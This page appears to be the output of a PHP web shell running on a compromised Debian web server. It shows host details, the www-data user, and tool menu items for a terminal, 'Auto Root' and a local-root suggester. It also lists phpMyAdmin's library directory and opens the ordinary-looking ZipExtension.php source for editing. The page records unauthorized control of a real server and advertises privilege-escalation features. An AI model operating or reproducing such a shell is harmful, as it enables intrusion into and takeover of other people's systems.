Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
phpmyadmin /
libraries /
classes /
Delete
Unzip
Name
Size
Permission
Date
Action
Charsets
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Command
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Config
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
ConfigStorage
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Controllers
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Crypto
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Database
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Dbal
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Display
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Engines
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Exceptions
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Export
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Gis
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Html
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Http
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Image
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Import
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Navigation
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Partitioning
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Plugins
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Properties
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Providers
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Query
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Server
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Setup
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Table
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Twig
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Utils
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
WebAuthn
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Advisor.php
12.32
KB
-rw-r--r--
2023-02-07 21:35
Bookmark.php
9.19
KB
-rw-r--r--
2023-02-07 21:35
BrowseForeigners.php
10.63
KB
-rw-r--r--
2023-02-07 21:35
Cache.php
1.5
KB
-rw-r--r--
2023-02-07 21:35
Charsets.php
6.82
KB
-rw-r--r--
2023-02-07 21:35
CheckUserPrivileges.php
11.3
KB
-rw-r--r--
2023-02-07 21:35
Common.php
19.4
KB
-rw-r--r--
2023-02-07 21:35
Config.php
41.65
KB
-rw-r--r--
2023-02-07 21:35
Console.php
3.25
KB
-rw-r--r--
2023-02-07 21:35
Core.php
28.91
KB
-rw-r--r--
2023-02-07 21:35
CreateAddField.php
15.83
KB
-rw-r--r--
2023-02-07 21:35
DatabaseInterface.php
71.73
KB
-rw-r--r--
2023-02-07 21:35
DbTableExists.php
2.86
KB
-rw-r--r--
2023-02-07 21:35
Encoding.php
8.41
KB
-rw-r--r--
2023-02-07 21:35
Error.php
13.63
KB
-rw-r--r--
2023-02-07 21:35
ErrorHandler.php
18.63
KB
-rw-r--r--
2023-02-07 21:35
ErrorReport.php
8.99
KB
-rw-r--r--
2023-02-07 21:35
Export.php
45.7
KB
-rw-r--r--
2023-02-07 21:35
FieldMetadata.php
11.11
KB
-rw-r--r--
2023-02-07 21:35
File.php
19.75
KB
-rw-r--r--
2023-02-07 21:35
FileListing.php
2.88
KB
-rw-r--r--
2023-02-07 21:35
FlashMessages.php
1.22
KB
-rw-r--r--
2023-02-07 21:35
Font.php
5.58
KB
-rw-r--r--
2023-02-07 21:35
Footer.php
8.06
KB
-rw-r--r--
2023-02-07 21:35
Git.php
18
KB
-rw-r--r--
2023-02-07 21:35
Header.php
20
KB
-rw-r--r--
2023-02-07 21:35
Import.php
48.72
KB
-rw-r--r--
2023-02-07 21:35
Index.php
14.83
KB
-rw-r--r--
2023-02-07 21:35
IndexColumn.php
4.75
KB
-rw-r--r--
2023-02-07 21:35
InsertEdit.php
89.07
KB
-rw-r--r--
2025-04-08 15:25
InternalRelations.php
17.31
KB
-rw-r--r--
2023-02-07 21:35
IpAllowDeny.php
9.13
KB
-rw-r--r--
2023-02-07 21:35
Language.php
4.47
KB
-rw-r--r--
2023-02-07 21:35
LanguageManager.php
22.74
KB
-rw-r--r--
2023-02-07 21:35
Linter.php
4.99
KB
-rw-r--r--
2023-02-07 21:35
ListAbstract.php
1.67
KB
-rw-r--r--
2023-02-07 21:35
ListDatabase.php
4.11
KB
-rw-r--r--
2023-02-07 21:35
Logging.php
2.69
KB
-rw-r--r--
2023-02-07 21:35
Menu.php
20.4
KB
-rw-r--r--
2023-02-07 21:35
Message.php
18.68
KB
-rw-r--r--
2023-02-07 21:35
Mime.php
918
B
-rw-r--r--
2023-02-07 21:35
Normalization.php
41.53
KB
-rw-r--r--
2023-02-07 21:35
OpenDocument.php
8.62
KB
-rw-r--r--
2023-02-07 21:35
Operations.php
35.11
KB
-rw-r--r--
2023-02-07 21:35
OutputBuffering.php
4.1
KB
-rw-r--r--
2023-02-07 21:35
ParseAnalyze.php
2.34
KB
-rw-r--r--
2023-02-07 21:35
Pdf.php
4.17
KB
-rw-r--r--
2023-02-07 21:35
Plugins.php
21.83
KB
-rw-r--r--
2023-02-07 21:35
Profiling.php
2.16
KB
-rw-r--r--
2023-02-07 21:35
RecentFavoriteTable.php
11.44
KB
-rw-r--r--
2023-02-07 21:35
Replication.php
4.81
KB
-rw-r--r--
2023-02-07 21:35
ReplicationGui.php
21.24
KB
-rw-r--r--
2023-02-07 21:35
ReplicationInfo.php
4.79
KB
-rw-r--r--
2023-02-07 21:35
ResponseRenderer.php
13.5
KB
-rw-r--r--
2023-02-07 21:35
Routing.php
6.55
KB
-rw-r--r--
2023-02-07 21:35
Sanitize.php
11.98
KB
-rw-r--r--
2023-02-07 21:35
SavedSearches.php
11.33
KB
-rw-r--r--
2023-02-07 21:35
Scripts.php
3.74
KB
-rw-r--r--
2023-02-07 21:35
Session.php
8.16
KB
-rw-r--r--
2023-02-07 21:35
Sql.php
64.01
KB
-rw-r--r--
2023-02-07 21:35
SqlQueryForm.php
6.74
KB
-rw-r--r--
2023-02-07 21:35
StorageEngine.php
15.71
KB
-rw-r--r--
2023-02-07 21:35
SystemDatabase.php
3.98
KB
-rw-r--r--
2023-02-07 21:35
Table.php
90.33
KB
-rw-r--r--
2023-02-07 21:35
Template.php
4.5
KB
-rw-r--r--
2023-02-07 21:35
Theme.php
7.32
KB
-rw-r--r--
2023-02-07 21:35
ThemeManager.php
7
KB
-rw-r--r--
2023-02-07 21:35
Tracker.php
30.34
KB
-rw-r--r--
2023-02-07 21:35
Tracking.php
36.11
KB
-rw-r--r--
2023-02-07 21:35
Transformations.php
16.31
KB
-rw-r--r--
2023-02-07 21:35
TwoFactor.php
7.5
KB
-rw-r--r--
2025-04-08 15:25
Types.php
25.85
KB
-rw-r--r--
2023-02-07 21:35
Url.php
10.61
KB
-rw-r--r--
2023-02-07 21:35
UrlRedirector.php
1.74
KB
-rw-r--r--
2023-02-07 21:35
UserPassword.php
6.86
KB
-rw-r--r--
2023-02-07 21:35
UserPreferences.php
10.49
KB
-rw-r--r--
2023-02-07 21:35
Util.php
86.45
KB
-rw-r--r--
2023-02-07 21:35
Version.php
556
B
-rw-r--r--
2023-02-07 21:35
VersionInformation.php
7.3
KB
-rw-r--r--
2023-02-07 21:35
ZipExtension.php
10.33
KB
-rw-r--r--
2023-02-07 21:35
Save
Rename
<?php /** * Interface for the zip extension */ declare(strict_types=1); namespace PhpMyAdmin; use ZipArchive; use function __; use function array_combine; use function count; use function crc32; use function getdate; use function gzcompress; use function implode; use function is_array; use function is_string; use function pack; use function preg_match; use function sprintf; use function str_replace; use function strcmp; use function strlen; use function strpos; use function substr; /** * Transformations class */ class ZipExtension { /** @var ZipArchive|null */ private $zip; public function __construct(?ZipArchive $zip = null) { $this->zip = $zip; } /** * Gets zip file contents * * @param string $file path to zip file * @param string $specificEntry regular expression to match a file * * @return array ($error_message, $file_data); $error_message * is empty if no error */ public function getContents($file, $specificEntry = null) { /** * This function is used to "import" a SQL file which has been exported earlier * That means that this function works on the assumption that the zip file contains only a single SQL file * It might also be an ODS file, look below */ if ($this->zip === null) { return [ 'error' => sprintf(__('The %s extension is missing. Please check your PHP configuration.'), 'zip'), 'data' => '', ]; } $errorMessage = ''; $fileData = ''; $res = $this->zip->open($file); if ($res !== true) { $errorMessage = __('Error in ZIP archive:') . ' ' . $this->zip->getStatusString(); $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } if ($this->zip->numFiles === 0) { $errorMessage = __('No files found inside ZIP archive!'); $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } /* Is the the zip really an ODS file? */ $odsMediaType = 'application/vnd.oasis.opendocument.spreadsheet'; $firstZipEntry = $this->zip->getFromIndex(0); if (! strcmp($odsMediaType, (string) $firstZipEntry)) { $specificEntry = '/^content\.xml$/'; } if (! isset($specificEntry)) { $fileData = $firstZipEntry; $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } /* Return the correct contents, not just the first entry */ for ($i = 0; $i < $this->zip->numFiles; $i++) { if (preg_match($specificEntry, (string) $this->zip->getNameIndex($i))) { $fileData = $this->zip->getFromIndex($i); break; } } /* Couldn't find any files that matched $specific_entry */ if (empty($fileData)) { $errorMessage = __('Error in ZIP archive:') . ' Could not find "' . $specificEntry . '"'; } $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } /** * Returns the filename of the first file that matches the given $file_regexp. * * @param string $file path to zip file * @param string $regex regular expression for the file name to match * * @return string|false the file name of the first file that matches the given regular expression */ public function findFile($file, $regex) { if ($this->zip === null) { return false; } $res = $this->zip->open($file); if ($res === true) { for ($i = 0; $i < $this->zip->numFiles; $i++) { if (preg_match($regex, (string) $this->zip->getNameIndex($i))) { $filename = $this->zip->getNameIndex($i); $this->zip->close(); return $filename; } } } return false; } /** * Returns the number of files in the zip archive. * * @param string $file path to zip file * * @return int the number of files in the zip archive or 0, either if there weren't any files or an error occurred. */ public function getNumberOfFiles($file) { if ($this->zip === null) { return 0; } $num = 0; $res = $this->zip->open($file); if ($res === true) { $num = $this->zip->numFiles; } return $num; } /** * Extracts the content of $entry. * * @param string $file path to zip file * @param string $entry file in the archive that should be extracted * * @return string|false data on success, false otherwise */ public function extract($file, $entry) { if ($this->zip === null) { return false; } if ($this->zip->open($file) === true) { $result = $this->zip->getFromName($entry); $this->zip->close(); return $result; } return false; } /** * Creates a zip file. * If $data is an array and $name is a string, the filenames will be indexed. * The function will return false if $data is a string but $name is an array * or if $data is an array and $name is an array, but they don't have the * same amount of elements. * * @param array|string $data contents of the file/files * @param array|string $name name of the file/files in the archive * @param int $time the current timestamp * * @return string|bool the ZIP file contents, or false if there was an error. */ public function createFile($data, $name, $time = 0) { $datasec = []; // Array to store compressed data $ctrlDir = []; // Central directory $oldOffset = 0; // Last offset position $eofCtrlDir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; // End of central directory record if (is_string($data) && is_string($name)) { $data = [$name => $data]; } elseif (is_array($data) && is_string($name)) { $extPos = (int) strpos($name, '.'); $extension = substr($name, $extPos); $newData = []; foreach ($data as $key => $value) { $newName = str_replace($extension, '_' . $key . $extension, $name); $newData[$newName] = $value; } $data = $newData; } elseif (is_array($data) && is_array($name) && count($data) === count($name)) { /** @var array $data */ $data = array_combine($name, $data); } else { return false; } foreach ($data as $table => $dump) { $tempName = str_replace('\\', '/', $table); /* Get Local Time */ $timearray = getdate(); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } $time = $timearray['year'] - 1980 << 25 | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); $hexdtime = pack('V', $time); $uncLen = strlen($dump); $crc = crc32($dump); $zdata = (string) gzcompress($dump); $zdata = substr((string) substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug $cLen = strlen($zdata); $fr = "\x50\x4b\x03\x04" . "\x14\x00" // ver needed to extract . "\x00\x00" // gen purpose bit flag . "\x08\x00" // compression method . $hexdtime // last mod time and date // "local file header" segment . pack('V', $crc) // crc32 . pack('V', $cLen) // compressed filesize . pack('V', $uncLen) // uncompressed filesize . pack('v', strlen($tempName)) // length of filename . pack('v', 0) // extra field length . $tempName // "file data" segment . $zdata; $datasec[] = $fr; // now add to central directory record $cdrec = "\x50\x4b\x01\x02" . "\x00\x00" // version made by . "\x14\x00" // version needed to extract . "\x00\x00" // gen purpose bit flag . "\x08\x00" // compression method . $hexdtime // last mod time & date . pack('V', $crc) // crc32 . pack('V', $cLen) // compressed filesize . pack('V', $uncLen) // uncompressed filesize . pack('v', strlen($tempName)) // length of filename . pack('v', 0) // extra field length . pack('v', 0) // file comment length . pack('v', 0) // disk number start . pack('v', 0) // internal file attributes . pack('V', 32) // external file attributes // - 'archive' bit set . pack('V', $oldOffset) // relative offset of local header . $tempName; // filename $oldOffset += strlen($fr); // optional extra field, file comment goes here // save to central directory $ctrlDir[] = $cdrec; } /* Build string to return */ $tempCtrlDir = implode('', $ctrlDir); $header = $tempCtrlDir . $eofCtrlDir . pack('v', count($ctrlDir)) . //total #of entries "on this disk" pack('v', count($ctrlDir)) . //total #of entries overall pack('V', strlen($tempCtrlDir)) . //size of central dir pack('V', $oldOffset) . //offset to start of central dir "\x00\x00"; //.zip file comment length $data = implode('', $datasec); return $data . $header; } }